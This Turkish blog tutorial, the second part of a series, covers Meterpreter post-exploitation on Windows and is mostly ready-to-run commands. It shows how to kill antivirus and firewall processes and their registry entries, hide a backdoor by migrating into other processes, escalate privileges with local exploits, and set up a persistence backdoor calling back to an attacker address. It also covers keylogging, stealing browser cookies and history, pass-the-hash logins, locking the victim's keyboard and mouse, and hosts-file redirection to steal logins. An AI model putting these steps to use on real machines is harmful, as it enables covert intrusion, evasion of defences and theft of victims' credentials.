Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation 2

Geçen hafta hazırladığım Meterpreter ile post exploitation evresini tek yazıya sığdırmam pek de mümkün değildi. Bu hafta seriye devam edeceğim. Bu yazıda ağırlıklı bulunan aşamalar ise, yetki yükseltme, kalıcılığı sağlama ve kullanıcıya yakalanmama süreçleri olacak. 

Antivirüs ve Firewall Kapatma

Post exploitation aşamasında, antivirüsler durumu fark edip sıkıntı yapabiliyorlar. Bu durumda makineye girmişken kaybetmek olmaz. Antivirüsleri ve firewalları saf dışı bırakmamız gerekiyor.

getcountermeasure

meterpreter > run getcountermeasure -d -k
[*]Running Getcountermeasure on the target...
[*]Checking for countermeasure...
[*]Getting Windows Bilt in Firewall configuration...
...snip...

Firewall ve antivirüsleri devre dışı bırakmak için kullanılan bu scriptte, [vurgu color=”#dd3333″]-d[/vurgu] parametresi firewalları, [vurgu color=”#dd3333″]-k[/vurgu] parametresi ise antivürsleri devre dışı bırakır. Ancak çoğu antivirüs için yeterli bir çözüm olmadığını bilmemiz iyi olacak. Shell komutu ile komut penceresine erişelim. Söz konusu antivirüsün processini bulmamız gerekiyor. ps komutu ile göz atabilirsiniz. Ancak daha pratik bir yolu var.

Tasklist /SVC | find /I “avg” = avg

Bu şekilde anahtar kelime üzerinden processler üzerinde arama yapabiliriz. Daha sonra bulduğumuz processi devre dışı bırakmayı deneyeceğiz.

sc config avgwd start= disabled

taskkill /F /IM “avg*”

Yukarıda önce avgwd processini devre dışı bırakmayı denedik. Çalışmaması halinde sonraki satırda yer alan komutla avg ile başlayan tüm processleri kapatmayı deneyebiliriz. Bunlar da işe yaramazsa bir şansımız daha var: Regedit üzerinde değişiklik yapmak. Öncelikle söz konusu dizindeki kayıtları listeleyelim. Daha sonra AVG_UI gibi, antivirüs ismine göre bir kayıt bulmanız olası.

reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

Bu durumda o kaydı silmek bizim işimizi çok kolaylaştıracaktır. Bu defa deleteval kullanarak -v parametresi ile kayıt ismini veriyoruz ve kaydı kaldırıyoruz. Kayıtlara tekrar baktığınızda muhtemelen kayıt artık orada olmayacaktır. 

reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v AVG_UI

Yetki Yükseltme İşlemi

Migrate

Sistemdeki diğer processlere, elimizdeki backdoorumuzu yapıştırabiliriz. Bu durumda kullanıcı, görev yöneticisine baktığında, olağan dışı bir durum görmeyecektir. Fakat bizim yapıştığımız sıradan process, çalıştığı müddetçe, biz de sistemde var olacağız demektir. Bu durumda yapışmak için seçtiğimiz process de önemli diyebiliriz. Diğer mesele ise, söz konusu processin yetkisi dahilinde işlem yapma şansımız olacak demektir. Sınırlı yetkilere sahipken, bu yöntemle yetki yükseltme işlemi yapabiliriz. Aksi de mümkün ancak bu çok da mantıklı olmayacaktır 🙂

ps komutu ile porcesslere bakalım. Backdoorumuz da listede bulunacaktır. Daha sonra bulaşmak istediğimiz processi belirleyelim ve onun [vurgu color=”#dd3333″]PID[/vurgu] değerini alalım. Sonrasında ise geriye şu komutu yazmak kalıyor:

meterpreter > migrate <PID>
[*] Migrating from 415 to 680…
Migration completed succesfully.

Local Exploit

Sistemde yetki yükseltme aşamasında local exploitlerden de faydalanabiliriz. Söz konusu exploitleri metasploit üzerinden aramak mümkün. Bundan sonrasında devam edeceğimiz örnek Windows XP,  7 gibi versiyonlarda çalışırken 8 ve 10 üzerinde çalışmıyor. Exploiti seçtikten sonra info diyerek hangi sistemlerde çalışabildiğini görebilirsiniz.

msf exploit(handler) > use ecploit/windwos/local/ppr_flatten_rec

msf exploit(ppr_flatten_rec) > set SESSION 1

Bu ayarlama sonrasında exploiti kullanarak devam ediyoruz. Şayet meterpreter üzerinde ikinci oturumumuz açılırsa exploit başarılı oldu demektir. İkinci oturuma bağlanarak tam erişimle devam edebiliriz. Yalnız local exploitlerle yetki yükseltirken önemli bir detayımız var. [vurgu color=”#dd3333″]getsystem[/vurgu] gibi komutların sonrasında, local exploitler çalıştırıldığında hata ile karşılaşabilirsiniz. Exploit, daha önce yetki yükseltme işlemi yaptığınızı varsayabilir. Şayet ikinci oturum açılmazsa ilk oturumdan devam ederek farklı taktikler denenebilir. 

Backdoor’un kalıcılığını sağlama yöntemleri

Sisteme girdikten sonra genelde en büyük isteğimiz sistemde kalabilmek. Bunun için de bazı yöntemler var. Yetki yükseltme aşamasında bahsettiğimiz migrate kısmını da kalıcılık kısmına dahil edebiliriz. Yaptığımız birçok işlem aslında sistemde tutunabilmek için.

persistence

[vurgu color=”#dd3333″]run persistence -h [/vurgu] komutu ile detaylarını öğrenebileceğiniz bu eklenti, otomatik olarak sistemde kalıcı olmamızı sağlayan işlemleri halleder.

  • -A: Backdoor dinlenmeye alındığında otomatik olarak bağlantı gelmesini sağlar.
  • -L </dizinismi>: Backdoor’un otomatik kayıt edileceği konum seçilir. Default durumda temp klasörü seçilir.
  • -P<payload>: Seçilecek olan payload girilir.
  • -S: Backdoor bir sistem dosyası gibi çalışır. Haliyle sistem yetkisinde çalışılır.
  • -i: Bağlantı isteklerinin kaç saniyede bir gönderileceğini buradan belirleyebilirsiniz.
  • -X: Sistem açıldığında çalışacak başka bir backdoorun kurulmasını sağlar.
  • -p: Bağlantının geleceği portu seçebilirsiniz. Backdoor için oluşturacağınız porttan bahsediyorum.
  • -r: Saldırganın IP adresi yazılır.

meterpreter > run persistence -A -U user -L C:\\windows\\system32 -i 20 -p 4444 -r 192.168.1.98

Diğer komutlar

keylogrecorder

Karşı tarafın bastığı her tuşu kaydedip incelemek mümkün. Farklı özelliklere sahip bu eklentinin diğer özellikleri için keylogrecorder -h komutunu kullanarak bilgi edinebilirsiniz. Aşağıdaki komutta ise önce [vurgu color=”#dd3333″]-t[/vurgu] parametresi ile  saniyelik bir kayıt aldık. Daha sonra ise kaydolduğu dizine giderek sonuçları listeledik.

meterpreter > run keylogrecorder -t  10

meterpreter > cat /root/.msf4/logs/scripts/keylogrecorder/192.168.1.98_20190210.1123.txt

keyscan

Bu araç ise çok daha basit bir tuş kayıt aracı. Start ile başlıyor, dump ile kayıtları ortaya döküyor, stop ile duruyor. Hepsi bu 🙂

meterpreter > keyscan_start

Starting the keystroke sniffer…

meterpreter > keyscan_dump

Dumping captured keystrokes…

meterpreter > keyscan_stop

Stopping the keystroke sniffer…

Browserlardan veri almak

Karşı makinenin browserları üzerinden cookie, geçmiş kayıtları gibi bilgileri çekmek mümkün. Farklı tarayıcılar için farklı komutlar gerekiyor. Kaydolan dosyaları SQLite Database Browser gibi araçlarla inceleyebilirsiniz. 

meterpreter > run post/windows/gather/enum_chrome

meterpreter > run enum/firefox

meterpreter > run post/windows/gather/enum_ie

Psexec pass the hash

Önceki yazıda makinedeki kullanıcıların hash bilgilerini elde etmiştik. Şimdi o kullanıcı hashleri ile sisteme giriş yapmayı deneyelim. Bu hashlerle giriş yapmak için, hashleri kırmaya gerek yok.

[vurgu color=”#dd3333″]exploit/windows/smb/psexec[/vurgu] exploitini kullanarak gerekli parametreleri giriyoruz. [vurgu color=”#dd3333″]SMBUser[/vurgu] kısmına hash üzerinde bulunan ilk kısmı, [vurgu color=”#dd3333″]SMBPass[/vurgu] kısmına ise, hash üzerindeki son ve uzun kısmı alarak giriyoruz. Yalnız kullanıcı adı sonrasında gelen kısa sayılar hariç. Örneğin:

[vurgu color=”#dd3333″]Administrator:500:aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0[/vurgu]

Burada “Administrator” kısmı SMBUser alanına, “aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0” kısmı ise SMBPass alanına girilecek. Sonrasında exploiti denediğimizde çalışacaktır. Birkaç sefer denemek gerekebilir. 

Versiyon öğrenme

Makinede yüklü olan yazılımların versiyonlarını öğrenmek için aşağıdaki komut yeterli olacaktır.

meterpreter > run get_application_list

Bazı donanımların kontrolünü sağlama

Siz bir işlem yaptığınız esnada karşı tarafta bir donanımın kullanılmaz olmasını, müdahale edememesini isteyebilirsiniz. Bu durumda aşağıdaki komut yeterli olacaktır

meterpreter > uictl disabled keyboard

meterpreter > uictl disabled mouse

Enable diyerek tekrar aktif hale getirebiliriz. 

DNS spoofing işlemi

DNS Spoofing, ayrı bir yazı konusu olmakla beraber özet geçmek gerekirse kullanıcıyı, bizim belirlediğimiz sayfaya yönlendirmek anlamına gelir. Bu şekilde kendi oluşturduğunuz sahte bir web sitesini, kullanıcının girdiği domain ile değiştirerek giriş bilgilerini elinden alabilirsiniz. Aşağıdaki örnekte, boşluktan  sonra belirtilen domaine girildiğinde, boşluktan önce yazılan IP adresine yönlendirilmesini sağlar. Örneğin test.txt isminde bir dosya oluşturalım ve içine şunu yazalım:

172.252.110.27 google.com

Daha sonra aracımızı nasıl kullanacağız ona bakalım.

meterpreter > run hostsedit -l text.txt

Not defterinden birden fazla web sitesini bu şekilde yönlendirmeye alabilirsiniz. Ancak bir tane yönlendirme yapacaksanız aşağıdaki komut yeterli olacaktır.

meterpreter > run hostsedit -e 172.252.110.27,google.com

CheckVM

Karşı makinenin sanal makine olup olmadığını teyit etmek için kullanılır.

meterpreter > run post/windows/gather/checkvm

Sniffing

Makine üzerindeki network paketlerinin takibini ve incelenmesini sağlar.

meterpreter > sniffer_start
[*]Capture started on interface 1 (50000 packet buffer)
meterpreter > sniffer_dump 1 /tmp/packets.cap

 

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

This site uses Akismet to reduce spam. Learn how your comment data is processed.